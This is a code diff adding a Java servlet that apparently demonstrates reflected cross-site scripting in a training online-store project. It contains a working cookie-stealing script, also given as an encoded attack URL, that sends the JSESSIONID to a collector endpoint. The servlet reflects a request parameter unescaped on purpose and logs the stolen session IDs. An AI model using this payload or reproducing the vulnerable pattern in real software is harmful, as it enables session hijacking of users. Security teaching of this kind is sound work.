|
| 1 | +package com.itbulls.learnit.onlinestore.web.owasp.i.problem; |
| 2 | + |
| 3 | +import jakarta.servlet.http.HttpServlet; |
| 4 | +import java.io.IOException; |
| 5 | + |
| 6 | +import com.itbulls.learnit.onlinestore.core.facades.ProductFacade; |
| 7 | +import com.itbulls.learnit.onlinestore.core.facades.impl.DefaultProductFacade; |
| 8 | +import com.itbulls.learnit.onlinestore.persistence.enteties.Product; |
| 9 | +import com.itbulls.learnit.onlinestore.web.Configurations; |
| 10 | + |
| 11 | +import jakarta.servlet.ServletException; |
| 12 | +import jakarta.servlet.annotation.WebServlet; |
| 13 | +import jakarta.servlet.http.HttpServletRequest; |
| 14 | +import jakarta.servlet.http.HttpServletResponse; |
| 15 | + |
| 16 | +/* |
| 17 | +
|
| 18 | +Script for Injection |
| 19 | +
|
| 20 | +<script> |
| 21 | +function getJSessionId(){ |
| 22 | + var jsId = document.cookie.match(/JSESSIONID=[^;]+/); |
| 23 | + if(jsId != null) { |
| 24 | + if (jsId instanceof Array) |
| 25 | + jsId = jsId[0].substring(11); |
| 26 | + else |
| 27 | + jsId = jsId.substring(11); |
| 28 | + } |
| 29 | + return jsId; |
| 30 | +} |
| 31 | +var url = "http://localhost:8080/online-store.web/refl-xss-demo"; |
| 32 | +
|
| 33 | +var xhr = new XMLHttpRequest(); |
| 34 | +xhr.open("POST", url); |
| 35 | +xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); |
| 36 | +var params = "sessionId=" + getJSessionId(); |
| 37 | +
|
| 38 | +xhr.onreadystatechange = function () { |
| 39 | + if (xhr.readyState === 4) { |
| 40 | + console.log(xhr.status); |
| 41 | + console.log(xhr.responseText); |
| 42 | + }}; |
| 43 | +
|
| 44 | +xhr.send(params); |
| 45 | +</script> |
| 46 | +
|
| 47 | +URL with the encoded script |
| 48 | +http://localhost:8080/online-store.web/refl-xss-demo?id=1&discountCoupon=%3Cscript%3E%0Afunction%20getJSessionId%28%29%7B%0A%20%20%20%20var%20jsId%20%3D%20document.cookie.match%28%2FJSESSIONID%3D%5B%5E%3B%5D%2B%2F%29%3B%0A%20%20%20%20if%28jsId%20%21%3D%20null%29%20%7B%0A%20%20%20%20%20%20%20%20if%20%28jsId%20instanceof%20Array%29%0A%20%20%20%20%20%20%20%20%20%20%20%20jsId%20%3D%20jsId%5B0%5D.substring%2811%29%3B%0A%20%20%20%20%20%20%20%20else%0A%20%20%20%20%20%20%20%20%20%20%20%20jsId%20%3D%20jsId.substring%2811%29%3B%0A%20%20%20%20%7D%0A%20%20%20%20return%20jsId%3B%0A%7D%0Avar%20url%20%3D%20%22http%3A%2F%2Flocalhost%3A8080%2Fonline-store.web%2Frefl-xss-demo%22%3B%0A%0Avar%20xhr%20%3D%20new%20XMLHttpRequest%28%29%3B%0Axhr.open%28%22POST%22%2C%20url%29%3B%0Axhr.setRequestHeader%28%27Content-type%27%2C%20%27application%2Fx-www-form-urlencoded%27%29%3B%0Avar%20params%20%3D%20%22sessionId%3D%22%20%2B%20getJSessionId%28%29%3B%0A%0Axhr.onreadystatechange%20%3D%20function%20%28%29%20%7B%0A%20%20%20if%20%28xhr.readyState%20%3D%3D%3D%204%29%20%7B%0A%20%20%20%20%20%20console.log%28xhr.status%29%3B%0A%20%20%20%20%20%20console.log%28xhr.responseText%29%3B%0A%20%20%20%7D%7D%3B%0A%0Axhr.send%28params%29%3B%0A%3C%2Fscript%3E |
| 49 | +
|
| 50 | + */ |
| 51 | + |
| 52 | + |
| 53 | +@WebServlet("/refl-xss-demo") |
| 54 | +public class ReflectedXssServletDemo extends HttpServlet { |
| 55 | + |
| 56 | + private ProductFacade productFacade = DefaultProductFacade.getInstance(); |
| 57 | + |
| 58 | + protected void doGet(HttpServletRequest request, HttpServletResponse response) |
| 59 | + throws ServletException, IOException { |
| 60 | + String discountCoupon = request.getParameter("discountCoupon"); |
| 61 | + Product p = productFacade.getProductById(Integer.valueOf(request.getParameter("id"))); |
| 62 | + |
| 63 | + request.setAttribute("product", p); |
| 64 | + request.setAttribute("discountCoupon", discountCoupon); |
| 65 | + |
| 66 | + request.getRequestDispatcher(Configurations.VIEWS_PATH_RESOLVER + "pdp-xss-demo.jsp").forward(request, response); |
| 67 | + } |
| 68 | + |
| 69 | + protected void doPost(HttpServletRequest request, HttpServletResponse response) |
| 70 | + throws ServletException, IOException { |
| 71 | + System.out.println("***** Cookies received *****"); |
| 72 | + System.out.println(request.getParameter("sessionId")); |
| 73 | + } |
| 74 | + |
| 75 | +} |
0 commit comments